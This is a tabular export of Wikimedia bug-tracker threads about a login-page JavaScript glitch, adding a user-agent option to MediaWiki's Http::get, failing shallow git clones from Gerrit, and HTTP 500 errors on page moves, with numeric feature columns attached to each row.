When I am logged in it shows: Romaine    Overleg    Voorkeuren    Volglijst    Bijdragen    Afmelden

But the first page I see when I log in is: Romaine    Overleg    Voorkeuren    Volglijst    Bijdragen    Afmelden    Niet aangemeld    Overlegpagina IP-adres    Bijdragen IP-adres

And that last one isn't correct, it shows the top two lines together.

Greetings - Romaine

--------------------------
**Version**: unspecified
**Severity**: normal"
150846,"""Not logged in"" p-personal javascript should not be triggered after login","Fix deployed, should be working again now.",,,1317151967,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,1.0,"Fix deployed, should be working again now."
150843,"""Not logged in"" p-personal javascript should not be triggered after login","Fixed in r98237, deploying.",,,1317151388,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,1.0,"Fixed in r98237, deploying."
150839,"""Not logged in"" p-personal javascript should not be triggered after login",It's not a JS thing. The entire interface is slowing as logged out in my tests on localhost.,,,1317151049,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,19.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.5714285714285716,0.9523809523809523,It's not a JS thing. The entire interface is slowing as logged out in my tests on localhost.
150832,"""Not logged in"" p-personal javascript should not be triggered after login",*** Bug 31192 has been marked as a duplicate of this bug. ***,,,1317151010,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 31192 has been marked as a duplicate of this bug. ***
150825,"""Not logged in"" p-personal javascript should not be triggered after login","This is created by the loggedOutTalkPage() function in nl.wikipedia's MediaWiki:Common.js.

Due to bug 31192, the javascript is also run on the first page when logging in. Because of the way that javascript function works, some links are left and thus both show up.

Once bug 31192 is fixed this will automatically be fixed.",,,1317149396,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,True,,,-101,True,2.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,2.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,6.0,8.0,9.0,3.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,4.151515151515151,0.7575757575757576,"This is created by the loggedOutTalkPage() function in nl.wikipedia's MediaWiki:Common.js.

Due to bug 31192, the javascript is also run on the first page when logging in. Because of the way that javascript function works, some links are left and thus both show up.

Once bug 31192 is fixed this will automatically be fixed."
150816,"""Not logged in"" p-personal javascript should not be triggered after login","**romaine.wiki** wrote:

Example: http://i56.tinypic.com/2cfuk2e.png",,,1317146889,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_subcomment,,True,c2,0,False,,,-101,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.6363636363636364,"**romaine.wiki** wrote:

Example: URL"
33072,Http::get should accept user-agent option,"**Author:** `olivier.beaton`

**Description:**
for any extension that uses Http::get a common task is setting the user-agent, which means they have to use the request object instead.  Really $options should include the user-agent string

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1316616780,1321811580.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ssphbusktrpppqnyzrp6,task_description,resolved,True,c2,0,False,False,True,-101,True,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,1.0,0.0,17.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,1.0,10.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.927536231884058,0.6666666666666666,"**Author:** CODE

**Description:**
for any extension that uses Http::get a common task is setting the user-agent, which means they have to use the request object instead.  Really $options should include the user-agent string

--------------------------
**Version**: unspecified
**Severity**: enhancement"
153419,Http::get should accept user-agent option,Patch applied in r103765,,,1321811580,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.25,1.0,Patch applied in r103765
153410,Http::get should accept user-agent option,"Created attachment 9087
Implement UA at Http::request() level

I'm not so sure it's that hard or that hacky.

**Attached**: {F8321}",,,1316725861,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,0,True,,,-101,True,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.2857142857142856,0.8571428571428571,"Created attachment 9087
Implement UA at Http::request() level

I'm not so sure it's that hard or that hacky.

**Attached**: {F8321}"
153403,Http::get should accept user-agent option,...reviving that would be a bit of a hack though. CURL isn't the only thing we support.,,,1316725528,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,0,False,,,-101,True,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,3.380952380952381,0.9047619047619048,...reviving that would be a bit of a hack though. CURL isn't the only thing we support.
153395,Http::get should accept user-agent option,"**olivier.beaton** wrote:

Doing some compat testing and I found out that this is actually lost functionality.  Here's what Http::get looked like in 1.15

public static function get( $url, $timeout = 'default', $opts = array() ) {
  return Http::request( ""GET"", $url, $timeout, $opts );

public static function request( $method, $url, $timeout = 'default', $curlOptions = array() ) {


and $curlOptions can accept CURLOPT_USERAGENT",,,1316712895,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,0,False,,,-101,True,0.5,0.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.5,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,5.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.5,3.0,1.0,0.0,4.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,3.4722222222222223,0.6851851851851851,"**olivier.beaton** wrote:

Doing some compat testing and I found out that this is actually lost functionality.  Here's what Http::get looked like in 1.15

public static function get( $url, $timeout = 'default', $opts = array() ) {
  return Http::request( ""GET"", $url, $timeout, $opts );

public static function request( $method, $url, $timeout = 'default', $curlOptions = array() ) {


and $curlOptions can accept CURLOPT_USERAGENT"
153388,Http::get should accept user-agent option,"Most sensible thing may be to just accept a 'headers' key with a map of HTTP headers to set.

Thus:

$foo = Http::get($url, array(
  'followRedirects' => false,
  'postData' => array(
    'foo' => 'bar',
    'baz' => 'quux',
  ),
  'headers' => array(
    'User-Agent': 'my special extension',
    'Accept': 'application/x-something',
  )
);",,,1316631795,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ssphbusktrpppqnyzrp6,task_subcomment,,True,c2,0,True,,,-101,True,0.0,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.5,18.0,0.0,0.0,0.0,1.0,0.0,1.5,2.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,4.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,2.5,3.5,0.0,18.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,3.5,2.7540584415584415,0.549025974025974,"Most sensible thing may be to just accept a 'headers' key with a map of HTTP headers to set.

Thus:

$foo = Http::get($url, array(
  'followRedirects' => false,
  'postData' => array(
    'foo' => 'bar',
    'baz' => 'quux',
  ),
  'headers' => array(
    'User-Agent': 'my special extension',
    'Accept': 'application/x-something',
  )
);"
37949,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","$ git clone --depth 1 https://gerrit.wikimedia.org/r/p/mediawiki/core.git 

fails with error: 

RPC failed; result=22, HTTP code = 500

Related bugs and mailing list posts:
* https://code.google.com/p/gerrit/issues/detail?id=769
* http://www.gossamer-threads.com/lists/wiki/wikitech/278195
* http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/60018/focus=60060
* http://comments.gmane.org/gmane.comp.desktop.trinity.devel/3757

Tested (not working) with git versions 1.7.1, 1.7.9.2, 1.7.9.6.

If the --depth option really crashes the git server, then sending this command could be possibly used for a DoS attack -> That's why I set severity to major.

Should your server's memory size be increased ?

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1334342220,1336156231.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-usesppigdvp4zycaytoi,task_description,resolved,True,c2,1,False,False,True,-72,True,0.0,0.0,0.0,1.5,0.5,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,10.0,1.5,0.5,4.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,1.5,3.0,4.5,1.0,0.0,0.0,1.5,0.0,1.0,1.0,0.0,1.5,0.0,0.0,1.0,3.601694915254237,0.7203389830508474,"$ git clone --depth 1 URL 

fails with error: 

RPC failed; result=22, HTTP code = 500

Related bugs and mailing list posts:
* URL
* URL
* URL
* URL

Tested (not working) with git versions 1.7.1, 1.7.9.2, 1.7.9.6.

If the --depth option really crashes the git server, then sending this command could be possibly used for a DoS attack -> That's why I set severity to major.

Should your server's memory size be increased ?

--------------------------
**Version**: unspecified
**Severity**: major"
170672,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","for info only (2012-05-19)
+ git clone --depth 1 https://gerrit.wikimedia.org/r/p/mediawiki/core.git ==> 84M
+ git clone https://gerrit.wikimedia.org/r/p/mediawiki/core.git ==> 184M",,,1337408281,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,False,,,-67,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.1875,0.65625,"for info only (2012-05-19)
+ git clone --depth 1 URL ==> 84M
+ git clone URL ==> 184M"
170664,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","some more examples, where shallow clones are smaller:

git clone git://gitorious.org/owncloud/owncloud.git ==> 39M

git clone --depth 1 git://gitorious.org/owncloud/owncloud.git ==> 34M



git clone https://github.com/Pita/etherpad-lite.git ==> 4,8M

git clone --depth 1 https://github.com/Pita/etherpad-lite.git ==> 2,6M",,,1336159366,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,False,,,-69,True,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,8.0,4.36,0.5,"some more examples, where shallow clones are smaller:

git clone git://gitorious.org/owncloud/owncloud.git ==> 39M

git clone --depth 1 git://gitorious.org/owncloud/owncloud.git ==> 34M



git clone URL ==> 4,8M

git clone --depth 1 URL ==> 2,6M"
170657,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","Hmmmm, strange is my following observation (each clone into a fresh directory):

git clone ssh://<username>@gerrit.wikimedia.org:29418/mediawiki/core.git
du -h .
==> 178 MB

git clone --depth 1 ssh://<username>@gerrit.wikimedia.org:29418/mediawiki/core.git
du -h .
==> 360 MB [sic]

==> Shallow clone needs 360 MB ??? I am puzzled.",,,1336158461,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,False,,,-69,True,2.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,2.0,6.0,5.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,4.625,0.59375,"Hmmmm, strange is my following observation (each clone into a fresh directory):

git clone ssh://<username>@gerrit.wikimedia.org:29418/mediawiki/core.git
du -h .
==> 178 MB

git clone --depth 1 ssh://<username>@gerrit.wikimedia.org:29418/mediawiki/core.git
du -h .
==> 360 MB [sic]

==> Shallow clone needs 360 MB ??? I am puzzled."
170646,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","Works for me with the 2.3 upgrade:

$ git clone --depth 1 https://gerrit.wikimedia.org/r/p/mediawiki/core.git test-shallow-clone
Cloning into 'test-shallow-clone'...
remote: Counting objects: 31773, done
remote: Finding sources: 100% (31773/31773)
remote: Total 31773 (delta 12783), reused 16435 (delta 12783)
Receiving objects: 100% (31773/31773), 291.11 MiB | 1.82 MiB/s, done.
Resolving deltas: 100% (12783/12783), done.

Marking FIXED.",,,1336156231,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,9.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.5,1.5,6.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,3.3684012066365008,0.650075414781297,"Works for me with the 2.3 upgrade:

$ git clone --depth 1 URL test-shallow-clone
Cloning into 'test-shallow-clone'...
remote: Counting objects: 31773, done
remote: Finding sources: 100% (31773/31773)
remote: Total 31773 (delta 12783), reused 16435 (delta 12783)
Receiving objects: 100% (31773/31773), 291.11 MiB | 1.82 MiB/s, done.
Resolving deltas: 100% (12783/12783), done.

Marking FIXED."
170636,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","(In reply to comment #2)
> And for the record, it doesn't *crash* gerrit. It hits an exception that's
> logged and it fails for the user, but it doesn't *crash*

Thanks for investigating this in the logs, and for reporting!",,,1334344512,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,False,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,4.0,8.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.44,0.88,"(In reply to comment #2)
QUOTE
QUOTE

Thanks for investigating this in the logs, and for reporting!"
170628,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","And for the record, it doesn't *crash* gerrit. It hits an exception that's logged and it fails for the user, but it doesn't *crash*",,,1334344084,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,True,,,-72,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,6.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.176470588235294,0.6764705882352942,"And for the record, it doesn't *crash* gerrit. It hits an exception that's logged and it fails for the user, but it doesn't *crash*"
170619,"Shallow clones fail with errors: git clone --depth 1 fails with error: RPC failed; result=22, HTTP code = 500","If this is indeed issue 769, I suspect it will be fixed by the 2.3 upgrade (since they upgraded JGit to 1.1).

We can test again then.",,,1334343935,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-usesppigdvp4zycaytoi,task_subcomment,,True,c2,1,True,,,-72,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,12.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,12.0,12.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.303030303030303,0.9696969696969697,"If this is indeed issue 769, I suspect it will be fixed by the 2.3 upgrade (since they upgraded JGit to 1.1).

We can test again then."
37030,Moving page triggers HTTP 500 on zhwiki,"In all my attempts it always returns HTTP 500. However sometimes the moving action is done but sometimes it's not.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1331122380,1366634165.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_description,declined,True,c2,1,False,False,True,-77,True,2.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.048780487804878,0.7073170731707317,"In all my attempts it always returns HTTP 500. However sometimes the moving action is done but sometimes it's not.

--------------------------
**Version**: unspecified
**Severity**: major"
169666,Moving page triggers HTTP 500 on zhwiki,"Hmm, sounds sufficient to me. 
